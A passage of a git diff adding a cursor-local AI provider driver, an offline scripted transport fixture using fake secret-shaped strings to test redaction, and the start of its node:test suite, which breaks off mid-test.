validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } + const sent = readTransportResult(sendOutcome.value, 'driver.launch.send.result'); + requireBindingEcho(sent, lane.bindingDigest, 'driver.launch.send.result'); + requireSessionEcho(sent, sessionId, 'driver.launch.send.result'); + if (optOwn(sent, 'acknowledged') !== true) { + fail('acknowledgement_required', 'driver.launch.send.result.acknowledged', + 'The transport must authoritatively acknowledge the prompt before dispatched.'); + } + lane.phase.acked = true; + lane.state = 'dispatched'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatched'), request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'reconcile', { + configurable: false, + enumerable: true, + value: function reconcile(request) { + const view = validateDriverReconcileRequestV1(request); + assertProvenanceBound(view, config, 'driver.reconcile.request'); + const lane = laneFromView(view); + if (!lane.phase.sendAttempted) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing dispatch; no prompt was ever attempted.'); + } + if (view.intent === 'restart_reattach') { + requireFeature(declaration, 'restart', 'driver.reconcile.request.intent'); + } + for (let index = 0; index < view.include.length; index += 1) { + requireFeature(declaration, view.include[index], + `driver.reconcile.request.include[${index}]`); + } + if (lane.state === 'terminal') { + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'terminal'), request, declaration, + ); + } + const observeRequest = freezeData({ + binding_digest: lane.bindingDigest, + include: freezeData([...view.include]), + intent: view.intent, + session_id: lane.phase.sessionId, + }); + const observeOutcome = callTransport(transportMethods, 'observe', observeRequest); + if (!observeOutcome.ok) { + fail('observe_failed', 'driver.reconcile.observe', + 'The transport observation failed; the lane keeps its exact identity and state.'); + } + const observed = readTransportResult(observeOutcome.value, 'driver.reconcile.observe.result'); + requireBindingEcho(observed, lane.bindingDigest, 'driver.reconcile.observe.result'); + requireSessionEcho(observed, lane.phase.sessionId, 'driver.reconcile.observe.result'); + const status = requireExactString(observed, 'status', 'driver.reconcile.observe.result', + /^[a-z_]{1,24}$/u, 'invalid_transport_result'); + if (!capturedIncludes(OBSERVE_STATUSES, status)) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.status', + 'Observation status is outside the closed vocabulary.'); + } + + const wantsEvidence = capturedIncludes(view.include, 'detailed_events') + || capturedIncludes(view.include, 'live_progress'); + const sink = wantsEvidence ? ensureEvidenceSink(lane) : undefined; + const progressText = optOwn(observed, 'progress_text'); + if (progressText !== undefined) { + if (typeof progressText !== 'string' || progressText.length === 0) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.progress_text', + 'Progress text must be a non-empty string when present.'); + } + if (!wantsEvidence) { + fail('evidence_include_required', 'driver.reconcile.observe.result.progress_text', + 'Progress text arrives only when live_progress or detailed_events is included.'); + } + ingestVisibleText(lane, sink, progressText, 'progress'); + } + const events = optOwn(observed, 'events'); + if (events !== undefined) { + if (!capturedIsArray(events)) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.events', + 'Events must arrive as a dense array of strings.'); + } + const eventCount = events.length; + if (!wantsEvidence && eventCount > 0) { + fail('evidence_include_required', 'driver.reconcile.observe.result.events', + 'Event text arrives only when detailed_events or live_progress is included.'); + } + for (let index = 0; index < eventCount; index += 1) { + const chunk = optOwn(events, STRING(index)); + if (typeof chunk !== 'string' || chunk.length === 0) { + fail('invalid_transport_result', + `driver.reconcile.observe.result.events[${index}]`, + 'Every event chunk must be a non-empty string.'); + } + if (sink !== undefined) ingestVisibleText(lane, sink, chunk, 'event'); + } + } + const question = optOwn(observed, 'question'); + if (status === 'attention') { + if (question === undefined) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.question', + 'An attention observation must carry exactly one question.'); + } + assertAttentionQuestionShape(question, 'driver.reconcile.observe.result.question'); + if (wantsEvidence) { + ingestVisibleText(lane, sink, optOwn(question, 'question_text'), 'attention'); + } + lane.question = freezeData({ question_id: optOwn(question, 'question_id') }); + lane.state = 'unresolved_attention'; + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'unresolved_attention'), request, declaration, + ); + } + if (question !== undefined) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.question', + 'A non-attention observation must not carry a question.'); + } + if (status === 'completed' || status === 'failed') { + lane.state = 'terminal'; + lane.terminalReason = status; + flushLaneWindow(lane); + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'terminal'), request, declaration, + ); + } + lane.state = 'in_progress'; + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'in_progress'), request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'cancel', { + configurable: false, + enumerable: true, + value: function cancel(request) { + const view = validateDriverCancelRequestV1(request); + assertProvenanceBound(view, config, 'driver.cancel.request'); + const lane = laneFromView(view); + requireFeature(declaration, 'cancellation', 'driver.cancel.request'); + if (!lane.phase.sendAttempted) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing dispatch; no prompt was ever attempted.'); + } + if (lane.state === 'terminal') { + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'already_terminal'), request, declaration, + ); + } + const cancelRequest = freezeData({ + binding_digest: lane.bindingDigest, + session_id: lane.phase.sessionId, + }); + const cancelOutcome = callTransport(transportMethods, 'cancel', cancelRequest); + if (!cancelOutcome.ok) { + fail('cancel_failed', 'driver.cancel', + 'The cancellation request failed; the lane keeps its exact identity and state.'); + } + const cancelled = readTransportResult(cancelOutcome.value, 'driver.cancel.result'); + requireBindingEcho(cancelled, lane.bindingDigest, 'driver.cancel.result'); + requireSessionEcho(cancelled, lane.phase.sessionId, 'driver.cancel.result'); + const outcome = requireExactString(cancelled, 'outcome', 'driver.cancel.result', + /^[a-z_]{1,24}$/u, 'invalid_transport_result'); + if (!capturedIncludes(CANCEL_OUTCOMES, outcome)) { + fail('invalid_transport_result', 'driver.cancel.result.outcome', + 'Cancellation outcome is outside the closed vocabulary.'); + } + if (outcome === 'confirmed') { + lane.state = 'terminal'; + lane.terminalReason = 'cancelled'; + flushLaneWindow(lane); + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'cancel_confirmed'), request, declaration, + ); + } + lane.state = 'cancel_requested'; + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'cancel_requested'), request, declaration, + ); + }, + }); + + function submitAttentionReply(request) { + const replyPath = 'cursor_local.reply.request'; + quarantineControlRequest(request, CURSOR_LOCAL_REPLY_REQUEST_KEYS, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, replyPath); + // An unsupported reply posture refuses explicitly, before any lane or + // transport is consulted, and never starts a new prompt instead. + if (declaration.capability.same_session_reply !== 'live_session_reply') { + fail('reply_unsupported', `${replyPath}.schema`, + 'Same-session reply is unsupported for this posture; the refusal is explicit.'); + } + const answerText = requireExactString(request, 'answer_text', replyPath, /^[\s\S]+$/u, + 'invalid_answer'); + if (capturedUtf8ByteLength(answerText) > MAX_ANSWER_BYTES) { + fail('answer_too_large', `${replyPath}.answer_text`, + `answer_text exceeds the ${MAX_ANSWER_BYTES}-byte bound.`); + } + const sessionId = requireExactString(request, 'session_id', replyPath, SESSION_ID_PATTERN, + 'invalid_format'); + const questionId = requireExactString(request, 'question_id', replyPath, QUESTION_ID_PATTERN, + 'invalid_format'); + const lane = resolveControlLane(request, lanes, config, replyPath); + if (lane.phase.replyAttempts > 0) { + fail('reply_already_attempted', `${replyPath}.question_id`, + 'This question was already answered once; replies are attempt-once.'); + } + if (lane.state !== 'unresolved_attention' || lane.question === undefined) { + fail('no_attention_question', `${replyPath}.question_id`, + 'No attention question is outstanding on this exact lane.'); + } + if (lane.question.question_id !== questionId) { + fail('question_mismatch', `${replyPath}.question_id`, + 'The reply question does not equal the exact outstanding question.'); + } + if (lane.phase.sessionId !== sessionId) { + fail('uncorrelated_session', `${replyPath}.session_id`, + 'The reply session does not match the exact spawned session.'); + } + // Consume the one-shot budget before touching the transport so a + // throwing or lying transport can never earn a second attempt. + lane.phase.replyAttempts += 1; + const replyRequest = freezeData({ + answer_text: answerText, + binding_digest: lane.bindingDigest, + question_id: questionId, + session_id: sessionId, + }); + const replyOutcome = callTransport(transportMethods, 'reply', replyRequest); + if (!replyOutcome.ok) { + lane.phase.replyOutcome = 'failed'; + fail('reply_transport_failed', 'cursor_local.reply', + 'The same-session reply failed once and will never be retried.'); + } + const replied = readTransportResult(replyOutcome.value, 'cursor_local.reply.result'); + requireBindingEcho(replied, lane.bindingDigest, 'cursor_local.reply.result'); + requireSessionEcho(replied, sessionId, 'cursor_local.reply.result'); + if (optOwn(replied, 'answered') !== true) { + lane.phase.replyOutcome = 'failed'; + fail('reply_transport_failed', 'cursor_local.reply.result.answered', + 'The transport did not authoritatively confirm the reply.'); + } + lane.phase.replyOutcome = 'answered'; + lane.question = undefined; + lane.state = 'in_progress'; + return freezeData({ + schema: CURSOR_LOCAL_REPLY_RESULT_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + run_id: lane.runId, + assignment_id: lane.assignmentId, + lane_index: lane.laneIndex, + base_sha: config.runBaseSha, + child_envelope_digest: lane.childEnvelopeDigest, + session_id: sessionId, + question_id: questionId, + answered: true, + }); + } + + function readEvidence(request) { + const evidencePath = 'cursor_local.evidence.request'; + quarantineControlRequest(request, CURSOR_LOCAL_EVIDENCE_REQUEST_KEYS, + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, evidencePath); + const lane = resolveControlLane(request, lanes, config, evidencePath); + if (lane.evidence === null) { + return freezeData({ + schema: CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + events: freezeData([]), + total_bytes: 0, + truncated: false, + }); + } + const drained = lane.evidence.drain(); + return freezeData({ + schema: CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + events: drained.events, + total_bytes: drained.total_bytes, + truncated: drained.truncated, + }); + } + + return freezeData({ + schema: CURSOR_LOCAL_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + provider: CURSOR_LOCAL_PROVIDER, + declaration, + driver: OBJECT_FREEZE(driver), + controls: freezeData({ + readEvidence: capturedFreeze(readEvidence), + submitAttentionReply: capturedFreeze(submitAttentionReply), + }), + }); +} + +capturedFreeze(createCursorLocalDriverV1); +capturedFreeze(describeCursorLocalDriverV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs new file mode 100644 index 0000000..d3c6519 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs @@ -0,0 +1,335 @@ +// Scripted local Cursor transport fixtures for the P19 cursor-local driver +// tests. Neutral construction only: the fixtures record every transport +// call and script closed outcomes; the tests own every assertion. +// +// The fixture never touches a real Cursor CLI, network, or repository. It +// exists so the driver's lifecycle, identity binding, redaction bounds, +// and content-free error surfaces can be exercised offline. + +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { p17Record } from './r1-resolver-fixtures.mjs'; + +export const DRIVER_DECLARATION_SCHEMA_ID = 'codex-co-engineer.driver-declaration.v1'; +export const CURSOR_LOCAL_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c2'; +export const CURSOR_LOCAL_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-driver-contract/local-worktree'; +export const CURSOR_LOCAL_FIXTURE_RUN_ID = 'cursor-local-driver-spec'; +export const CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID = 'local-lane'; +export const CURSOR_LOCAL_FIXTURE_MODEL = 'composer-1'; +export const FIXTURE_SESSION_PREFIX = 'sess-local-'; +export const FIXTURE_QUESTION_ID = 'q-attn-1'; +export const FIXTURE_QUESTION_TEXT = 'Approve writing the integration spec?'; + +// A secret-shaped payload used to prove redaction; never a real value. +export const SECRET_BEARER_TOKEN = 'Bearer sk-live-abcdef0123456789'; +export const SECRET_API_KEY_PAIR = 'api_key = "super-secret-value-1234567890"'; +export const SECRET_AWS_KEY = 'AKIAIOSFODNN7EXAMPLE'; +export const SECRET_SPLIT_HEAD = 'Bearer sk-li'; +export const SECRET_SPLIT_TAIL = 've-9988776655443322'; + +export function buildCursorLocalFixtureV1(overrides = {}) { + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: overrides.run_id ?? CURSOR_LOCAL_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: overrides.repository_path ?? CURSOR_LOCAL_FIXTURE_REPOSITORY_PATH, + base_sha: overrides.base_sha ?? CURSOR_LOCAL_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the cursor-local driver end to end offline.', + assignments: Object.freeze([Object.freeze({ + assignment_id: overrides.assignment_id ?? CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the lane exactly as instructed by the envelope.', + execution: Object.freeze({ + provider: overrides.provider ?? 'cursor-local', + model: overrides.model ?? CURSOR_LOCAL_FIXTURE_MODEL, + }), + write_scope: Object.freeze(['docs/**']), + acceptance: Object.freeze([Object.freeze({ + command_id: 'unit-tests', timeout_ms: 600_000, + })]), + expected_duration_ms: 1_200_000, + required_evidence: Object.freeze(['provider_report']), + })]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const assignmentId = overrides.assignment_id ?? CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID; + const envelope = compileChildEnvelopeV1(manifest, assignmentId); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + provider: envelope.execution.provider, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function cursorLocalDeclaration(capabilityOverrides = {}, featureOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record('cursor-local', capabilityOverrides), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...featureOverrides, + }, + }; +} + +function cloneRequest(request) { + // Requests are validated direct JSON by the time they reach the + // transport; a shallow structured copy is enough for call records. + if (request === null || typeof request !== 'object') return request; + const clone = {}; + for (const key of Object.keys(request)) { + const value = request[key]; + clone[key] = (value !== null && typeof value === 'object') + ? JSON.parse(JSON.stringify(value)) + : value; + } + return clone; +} + +class TransportFailure extends Error { + constructor(code, message) { + super(message); + this.name = 'TransportFailure'; + this.code = code; + } +} + +// Build a scripted transport plus its call record. `scenario` selects the +// closed outcome sequence; `overrides` replaces individual methods for +// targeted hostile cases. +export function createCursorLocalTransportStub(scenario = 'happy', overrides = {}) { + const state = { + acks: 0, + availabilityCalls: 0, + bindingEchoCorrupt: overrides.binding_echo_corrupt === true, + cancelCalls: 0, + cancels: [], + completedAfter: overrides.completed_after ?? (scenario === 'attention' ? 3 : 2), + observes: 0, + observeResults: [], + questionAnswered: false, + replies: 0, + replyRecords: [], + sends: 0, + sendRecords: [], + sessionCounter: 0, + spawnCalls: 0, + spawnRecords: [], + }; + const calls = []; + const record = (method, request) => calls.push({ method, request: cloneRequest(request) }); + const sessionIdFor = () => `${FIXTURE_SESSION_PREFIX}${state.spawnCalls}`; + const binding = (request, fallback) => (state.bindingEchoCorrupt + ? 'sha256:' + 'f'.repeat(64) + : (request?.binding_digest ?? fallback)); + + const methods = { + availability() { + state.availabilityCalls += 1; + record('availability', {}); + if (scenario === 'unavailable') return { available: false }; + if (scenario === 'availability_failure') { + throw new TransportFailure(undefined, 'availability probe exploded'); + } + return { available: true }; + }, + spawn(request) { + state.spawnCalls += 1; + state.sessionCounter = state.spawnCalls; + record('spawn', request); + state.spawnRecords.push(cloneRequest(request)); + if (scenario === 'spawn_failure') throw new Error(`spawn pipe broke: ${SECRET_BEARER_TOKEN}`); + return { + binding_digest: binding(request), + session_id: sessionIdFor(), + }; + }, + send(request) { + state.sends += 1; + record('send', request); + state.sendRecords.push(cloneRequest(request)); + if (scenario === 'pre_write_failure') { + throw new TransportFailure('pre_write_failure', 'nothing was written'); + } + if (scenario === 'ambiguous_send') throw new Error('connection reset mid-write'); + if (scenario === 'send_getter_bomb') { + throw new TransportFailure(undefined, `boom ${SECRET_API_KEY_PAIR}`); + } + state.acks += 1; + return { acknowledged: true, binding_digest: binding(request), session_id: request.session_id }; + }, + observe(request) { + state.observes += 1; + record('observe', request); + if (scenario === 'session_lost' && state.observes === 1) { + return { + binding_digest: binding(request), + events: ['progress line'], + session_id: request.session_id, + status: 'running', + }; + } + if (scenario === 'wrong_binding_echo' && state.observes === 1) { + return { binding_digest: 'sha256:' + '0'.repeat(64), session_id: request.session_id, status: 'running' }; + } + if (scenario === 'observe_throws') throw new Error(`observe died ${SECRET_AWS_KEY}`); + const index = state.observes; + state.observeResults.push(index); + if (scenario === 'attention') { + if (index === 1) { + return { + binding_digest: binding(request), + question: { question_id: FIXTURE_QUESTION_ID, question_text: FIXTURE_QUESTION_TEXT }, + session_id: request.session_id, + status: 'attention', + }; + } + if (!state.questionAnswered && index > 1) { + return { + binding_digest: binding(request), + question: { question_id: FIXTURE_QUESTION_ID, question_text: FIXTURE_QUESTION_TEXT }, + session_id: request.session_id, + status: 'attention', + }; + } + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index >= state.completedAfter ? 'spec approved and drafted' : 'drafting' } + : {}), + session_id: request.session_id, + status: index >= state.completedAfter ? 'completed' : 'running', + }; + } + if (scenario === 'cancel_requested_flow') { + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index === 1 ? 'winding down' : 'stopped' } : {}), + session_id: request.session_id, + status: index >= 2 ? 'completed' : 'running', + }; + } + if (scenario === 'secret_chunks') { + if (index === 1) { + return { + binding_digest: binding(request), + events: [ + `${SECRET_SPLIT_HEAD}`, + `${SECRET_SPLIT_TAIL} rotated`, + `key material ${SECRET_API_KEY_PAIR}`, + `aws ${SECRET_AWS_KEY} leaked`, + '😀😀😀 multi-byte tail 😀', + ], + progress_text: 'streaming chunks', + session_id: request.session_id, + status: 'running', + }; + } + const wantsEvents = Array.isArray(request.include) + && request.include.includes('detailed_events'); + return { + binding_digest: binding(request), + ...(wantsEvents + ? { events: [`final chunk carries ${SECRET_SPLIT_HEAD}`, `${SECRET_SPLIT_TAIL} across calls`] } + : {}), + session_id: request.session_id, + status: 'completed', + }; + } + if (scenario === 'flood') { + const wantsEvents = Array.isArray(request.include) + && request.include.includes('detailed_events'); + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsEvents + ? { + events: Array.from( + { length: 40 }, + (_, i) => `chunk-${i} ${SECRET_BEARER_TOKEN}`.concat(' x'.repeat(400)), + ), + } + : {}), + ...(wantsProgress ? { progress_text: 'x'.repeat(120_000) } : {}), + session_id: request.session_id, + status: index >= 2 ? 'completed' : 'running', + }; + } + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index >= state.completedAfter ? 'lane finished' : 'working' } + : {}), + session_id: request.session_id, + status: index >= state.completedAfter ? 'completed' : 'running', + }; + }, + cancel(request) { + state.cancelCalls += 1; + record('cancel', request); + state.cancels.push(cloneRequest(request)); + if (scenario === 'cancel_requested_flow') { + return { binding_digest: binding(request), outcome: 'requested', session_id: request.session_id }; + } + return { binding_digest: binding(request), outcome: 'confirmed', session_id: request.session_id }; + }, + reply(request) { + state.replies += 1; + record('reply', request); + state.replyRecords.push(cloneRequest(request)); + if (scenario === 'reply_fails_once') throw new Error('reply pipe broke'); + state.questionAnswered = true; + return { answered: true, binding_digest: binding(request), session_id: request.session_id }; + }, + }; + + const transport = { ...methods, ...overrides.transport }; + return { calls, state, transport }; +} + +// Getter-bearing hostile result helpers: reading any field through these +// objects would trip the counters. The driver must reject them with zero +// counter increments. +export function getterBombResult(base, counter, key = 'status') { + const result = { ...base }; + delete result[key]; + Object.defineProperty(result, key, { + enumerable: true, + get() { + counter.reads += 1; + return base[key]; + }, + }); + return result; +} diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs new file mode 100644 index 0000000..2442cba --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs @@ -0,0 +1,407 @@ +// Runtime tests for the CursorLocalDriverV1 reconstruction (P19): the +// accepted P17 ProviderDriverV1 lifecycle bound to an injected local +// Cursor session transport. Covers exact provenance binding, one spawn +// plus one acknowledged dispatch, the not_sent / dispatch_uncertain / +// dispatched distinctions, same-session attention replies, cancel, +// reattach, the terminal latch, already-terminal behavior, bounded +// redacted evidence, and closed receipts. Everything runs offline against +// the scripted r1-cursor-local-transport fixture; no live Cursor Local, +// network, or repository access happens here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + CANCEL_OUTCOMES, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + CURSOR_LOCAL_PROVIDER, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + EVIDENCE_KINDS, + MAX_EVIDENCE_EVENTS, + MAX_EVIDENCE_SEGMENT_BYTES, + MAX_LANE_EVIDENCE_BYTES, + OBSERVE_STATUSES, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { validateDriverDeclarationV1 } from '../mcp/v3/provider-driver.mjs'; +import { + FIXTURE_QUESTION_ID, + FIXTURE_QUESTION_TEXT, + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; + +const fixture = buildCursorLocalFixtureV1(); +const INCLUDE_ALL = ['detailed_events', 'live_progress']; + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function create(scenario = 'happy', declarationOverrides = {}) { + const stub = createCursorLocalTransportStub(scenario); + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration( + declarationOverrides.capability ?? {}, + declarationOverrides.features ?? {}, + ), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + ...(declarationOverrides.workspace_root !== undefined + ? { workspace_root: declarationOverrides.workspace_root } : {}), + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const request = (operation, extras = {}) => + buildDriverOperationRequestV1(operation, fixture.envelope, extras); + const evidenceRequest = () => ({ + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + const replyRequest = (overrides = {}) => ({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: `sess-local-${stub.state.spawnCalls || 1}`, + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved; continue.', + ...overrides, + }); + return { bound, created, request, evidenceRequest, replyRequest, stub }; +} + +function dispatch({ bound, request }) { + const preflight = bound.preflight(request('preflight')); + const launch = bound.launch(request('launch')); + return { launch, preflight }; +} + +function assertIdentityEcho(receipt, label) { + assert.equal(receipt.version, PROVIDER_DRIVER_VERSION, `${label} version`); + assert.equal(receipt.run_id, fixture.run_id, `${label} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} echoes child_envelope_digest`); +} + +test('the cursor-local driver description is closed and claims no transport of its own', () => { + const description = describeCursorLocalDriverV1(); + assert.equal(description.schema, CURSOR_LOCAL_DRIVER_SCHEMA_ID); + assert.equal(description.provider, CURSOR_LOCAL_PROVIDER); + assert.deepEqual([...description.operations], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.deepEqual([...description.transports], []); + assert.deepEqual([...description.relaunch_operations], []); + assert.deepEqual([...description.direct_mode], []); + assert.equal(description.durable_store, false); + assert.equal(description.workspace_semantics, 'local_managed_worktree'); + assert.equal(description.workspace_starting_point, 'run_base_sha'); + assert.equal(description.replay_posture, 'never_replay'); + assert.ok(Object.isFrozen(description)); + assert.deepEqual([...OBSERVE_STATUSES].sort(), ['attention', 'completed', 'failed', 'running']); + assert.deepEqual([...CANCEL_OUTCOMES].sort(), ['confirmed', 'requested']); + assert.deepEqual([...EVIDENCE_KINDS].sort(), ['attention', 'event', 'progress']); +}); + +test('create binds the exact P05 capability record and a four-operation driver surface', () => { + const { created } = create(); + const validated = validateDriverDeclarationV1(created.declaration); + assert.equal(validated.capability.provider, CURSOR_LOCAL_PROVIDER); + assert.equal(validated.capability.workspace_semantics, 'local_managed_worktree'); + assert.equal(validated.capability.workspace_starting_point, 'run_base_sha'); + assert.equal(validated.capability.replay_posture, 'never_replay'); + assert.equal(validated.capability.dispatch_certainty, 'confirmed_launch'); + assert.equal(validated.capability.same_session_reply, 'live_session_reply'); + assert.equal(CAPABILITY_RECORD_ALLOWED_KEYS.length, 13); + for (const key of CAPABILITY_RECORD_ALLOWED_KEYS) { + assert.ok(Object.hasOwn(validated.capability, key), `capability key ${key}`); + } + const summary = assertProviderDriverV1(created.driver); + assert.equal(summary.schema, 'codex-co-engineer.provider-driver.v1'); + assert.equal(summary.version, PROVIDER_DRIVER_VERSION); + assert.deepEqual([...summary.operations], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.deepEqual(Object.keys(created.driver).sort(), + ['cancel', 'launch', 'preflight', 'reconcile']); + assert.ok(Object.isFrozen(created)); + assert.ok(Object.isFrozen(created.driver)); + assert.ok(Object.isFrozen(created.controls)); +}); + +test('preflight reports readiness without spawning or sending anything', () => { + const context = create('happy'); + const receipt = context.bound.preflight(context.request('preflight')); + assert.equal(receipt.disposition, 'ready'); + assertIdentityEcho(receipt, 'preflight'); + assert.equal(receipt.detail_code, undefined); + assert.ok(Object.isFrozen(receipt)); + assert.equal(context.stub.state.spawnCalls, 0, 'no spawn during preflight'); + assert.equal(context.stub.state.sends, 0, 'no dispatch during preflight'); +}); + +test('blocked preflight carries the closed detail pair and blocks the lane', () => { + const context = create('unavailable'); + const receipt = context.bound.preflight(context.request('preflight')); + assert.equal(receipt.disposition, 'blocked'); + assertIdentityEcho(receipt, 'blocked preflight'); + assert.equal(receipt.detail_code, 'transport_unavailable'); + assert.equal(typeof receipt.detail_message, 'string'); + expectCode(() => context.bound.launch(context.request('launch')), 'blocked_lane_denied', + 'a blocked preflight cannot launch'); + assert.equal(context.stub.state.spawnCalls, 0, 'blocked lanes never spawn'); +}); + +test('launch spawns exactly one session and dispatches the exact prompt once before dispatched', () => { + const context = create('happy'); + const { launch, preflight } = dispatch(context); + assert.equal(preflight.disposition, 'ready'); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, 'launch'); + assert.equal(launch.detail_code, undefined); + assert.equal(context.stub.state.spawnCalls, 1, 'exactly one spawn'); + assert.equal(context.stub.state.sends, 1, 'exactly one prompt dispatch'); + assert.equal(context.stub.state.acks, 1, 'authoritative acknowledgement received'); + const spawnRequest = context.stub.state.spawnRecords[0]; + assert.equal(spawnRequest.binding_digest.length > 0, true, 'spawn carries the binding digest'); + assert.equal(spawnRequest.model, fixture.model, 'spawn binds the exact model'); + assert.equal(spawnRequest.base_sha, fixture.base_sha, 'spawn binds the run base sha'); + assert.equal(spawnRequest.repository_path, fixture.repository_path, + 'spawn binds the repository path'); + assert.equal(spawnRequest.run_id, fixture.run_id, 'spawn binds the run id'); + const sendRecord = context.stub.state.sendRecords[0]; + assert.equal(sendRecord.prompt_text, fixture.envelope_text, + 'the exact compiled envelope text is the dispatched prompt'); + assert.equal(sendRecord.prompt_utf8_bytes, + Buffer.byteLength(fixture.envelope_text, 'utf8')); + assert.equal(sendRecord.session_id, context.stub.state.spawnRecords[0] && 'sess-local-1'); +}); + +test('reconcile observes the same session, then the terminal latch stops further observation', () => { + const context = create('happy'); + dispatch(context); + const sessionId = 'sess-local-1'; + const first = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(first.disposition, 'in_progress'); + assertIdentityEcho(first, 'reconcile'); + assert.equal(context.stub.state.observes, 1); + assert.equal(context.stub.calls[context.stub.calls.length - 1].request.session_id, sessionId, + 'observation addresses the exact spawned session'); + const second = context.bound.reconcile(context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(second.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 2, 